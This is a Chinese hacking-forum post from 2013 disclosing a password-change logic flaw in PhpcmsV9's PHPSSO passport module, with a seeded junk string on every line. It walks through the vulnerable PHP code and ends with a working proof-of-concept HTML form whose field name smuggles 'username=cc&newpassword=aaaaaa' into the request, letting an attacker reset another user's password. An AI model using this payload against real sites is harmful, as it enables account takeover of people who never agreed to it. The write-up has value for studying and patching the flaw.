找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1875|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
& o) C2 }" C; {; S7 T( i- {, s# w  e5 b

! D% `* ^1 ]/ {! l- b, X2 T" Q/ l+ o, sparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
, ?( P6 Q8 u; }6 ^. ]" {0 E' }) q0 t- z1 i1 L4 F2 W
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。- z# s3 y- M+ ^& c

; A5 c; V* B6 }2 ^& |/ Z我把它留给了你们。
1 M: i. J4 Y2 M" K, a, {- a不知道你们发现了它没有。
/ t8 I: u7 Y$ Z8 s1 @3 p+ Q' s- t
: R5 ^2 z" g" v$ q$ C/ J4 ?8 z$ X我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ ~% {7 \7 ]7 E  _

( _) Q$ M  l5 A- H) m4 B4 q0 Y所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。3 @+ [: K4 R* h' w+ X
5 w$ h( l: j* G- D* j+ _
也就是3 S3 l! ^( F& C$ T5 \& p2 n0 j
) [- N' T7 g5 }  G. Z  H" d
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
; E+ c! t, _$ U$ v
, l# E3 q# y* c7 s" |. X* ?- j: ^要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。: P* g: ]7 [4 ]- A4 p, b4 P
; e0 a7 c# I# I) k# |5 \

6 Y* P* D& c; m- s% U5 O其实我们有这样的机会,看看代码,如下:
) b* I$ y  W* D
  v5 o+ T1 n+ s# j) P& Y
" b  j+ c4 {# n, {6 U% npublic function auth_data($data) {
  f, @  h: C$ _/ o9 c- _% P9 \                $s = $sep = '';3 v' J* F" w& f2 \5 r
                foreach($data as $k => $v) {8 ~6 W9 X: J0 D* Y- @  }# D" a0 c
                        if(is_array($v)) {
4 f2 s7 d! `5 v: R$ v3 p3 c                                $s2 = $sep2 = '';% |5 `# x  r$ P1 G: t" h* v4 ]- g
                                foreach($v as $k2 => $v2) {: t( n6 d+ }% b  K, W
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);! ]/ N4 R- u+ Q, P4 `/ j
                                        $sep2 = '&';
  y( n& ^, \( c6 @# |' R                                }
# x5 v) @( v$ x                                $s .= $sep.$s2;
4 U* i1 \+ v. u5 ^( i" U: d                        } else {% m8 ]: O0 k0 c7 P; j5 q6 e/ H5 P; K5 x
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);: b  }" h' c. G; m0 q
                        }" v2 V+ x( i) }
                        $sep = '&';" Q# h" J$ \& J: e1 S% r
                }/ }* T. x6 U: }; J' r
8 ?/ b0 W! }" O0 E. P, ]5 j# D% Z
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));" p) b7 D" n& ~' C* ]7 u
                return $auth_s;( F" a5 f6 D" y, I- |7 F( h
        }1 R0 [3 K* }* z) j, G- Z' M

2 x" X8 B4 _! b. \6 r8 b! H可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。) P7 s1 ^- }$ [/ z

. X4 G; k7 ?4 G0 [# H8 }- ^举个例子& P0 k$ O0 R* Z3 \2 w

4 X( Q; L. u$ h$a[aaa=a&bbb] = 'a';1 N, A' w" r' ^
  }; B! Y* M# ?
会变成aaa=a&bbb=a# I- p. [5 `. O+ \* x. X9 C6 Z
& L' q. X) U; h7 h" O
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
  M' ~1 A3 I- Z/ A- H. k) e) j: F" M- C6 v9 x+ v% K# n, K0 R
这个时候,我们可以再去看一个函数。
* l) _. y3 V" F. Y! c; q- s+ i
' V! @* X2 k, @, v1 w就在这个文件内:
; }/ ~- H& n6 Z2 u2 |' V
$ `" v' t, X! J8 V% ]; K
" U  O# B( T4 S2 p& {# ipublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
* L" T- s3 N& h2 c( I                if($email && !$this->_is_email($email)) {
) H3 g5 P1 M, G5 B& a# M5 Z" @- V% m                        return -4;; T, K( }% v' A2 ?  S6 O
                }9 S2 k! s- u# o1 a" Z
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
1 J# _7 F6 T7 U4 ~# B        }8 B( n2 `. w% R+ ?: @! U6 y, A

5 g8 W3 G1 R( ^& a/ A这是向通行证发了这样一个请求。
8 k$ `# C# E6 X0 i2 s# v: i
: l9 F1 ?& T9 H4 \我们再跟到通信证代码里去看看,就会有所发现。
/ v* s) Q" }" Z
$ H) K+ Y3 g0 J3 O: j
2 A5 K8 }' I( E3 f/ |4 w! spublic function edit() {
  F# R3 z; Z2 d, J- x$ S: r//能省就省,太长了不是吗?1 l$ ~- [5 Z$ I  x
1 q2 J2 @6 _* _$ ~0 I5 c
if($this->username) {
: k, M% Y1 }6 F# D+ `; ?" O//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。1 o9 }, x, L# Y" @! d8 k' D& B
                                $res = $this->db->update($data, array('username'=>$this->username));( G' s% Q* U, \+ l
                        } else {
, q4 J; U, o+ m; \2 L, @* y: V                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);8 R* ~7 H) K0 E/ F& `: c# s
                                $res = $this->db->update($data, array('uid'=>$this->uid));8 q2 ]: n5 p4 U- E* [( x5 a
                        }/ O4 g' K' @$ h7 u% C9 @

( E4 I8 f. @# `1 j1 u; @  U好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:5 @& f( Z! F8 D

: U, y" D! L1 n  U4 X# vpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
. w7 E* @* P% ]- @0 q, ^8 G" z. k1 V  T& s: [
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
7 t) F# r. r9 n: N8 o  `5 J* {
$ g+ w  m, g4 ^+ e2 h& o我当然找到了:1 u" ]5 O# K( o9 o  X  Y2 o  W. s
phpcms9/phpcms/modules/member/index.php3 U+ u* I% W& [1 a4 Q  }2 \
) F* a- s+ Z8 h# F( a/ V' ?0 g4 \
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
4 w5 f% L* T# K) Z0 p! k) P9 ]  q( e8 K% a9 \: Z7 i
然后就没有然后了。
! N7 I% n$ Y) ?- N7 |
8 Y2 r2 y* |% e' v' i<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
+ S- u* X' Y6 p1 p0 a                                <table width="100%" cellspacing="0" class="table_form">
( ]7 B6 @. A' Q! z+ v                                        <tr>1 @0 }2 d7 D. F+ t! r) K
                                                <th width="80">邮箱:</th>        
' }: o- j- \+ w7 C0 ]2 U                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 A& Y  Q0 b8 C  t                                        </tr>7 d3 w" `) m% [
                                        <tr>
0 E) |) I0 g) W! i# O9 f9 r( \                                                <th width="80">原密码:</th>        6 d: u9 }+ g7 s' S# q4 u5 }
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>& b4 D/ L. S2 x' w: ~( W
                                        </tr>1 h- T3 f7 S  c7 v$ l0 X. l3 E5 L% W
                                        <tr>
' c  A% U5 N- M$ X0 Y                                                <th>新密码:</th>
. s9 ^- a5 x9 d! e+ c                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
6 `0 J( h6 n1 F* L3 E3 `+ f                                        </tr>
# W, V4 V  [3 v                                        <th></th>9 G$ I% H& d7 d  N3 f/ s
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
. Q. B- q; A$ ~' J                                        </tr>& c8 H. P" Y# k% b% H) q% |2 Q
                                </table>
, U0 ^7 D' n- T% P7 \7 H
$ x3 T! U( n/ [. }$ h' U' V                                * W# {' I0 S: B# l- D- }+ p
                        </form>
$ Y6 n1 ?; J6 C- z3 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表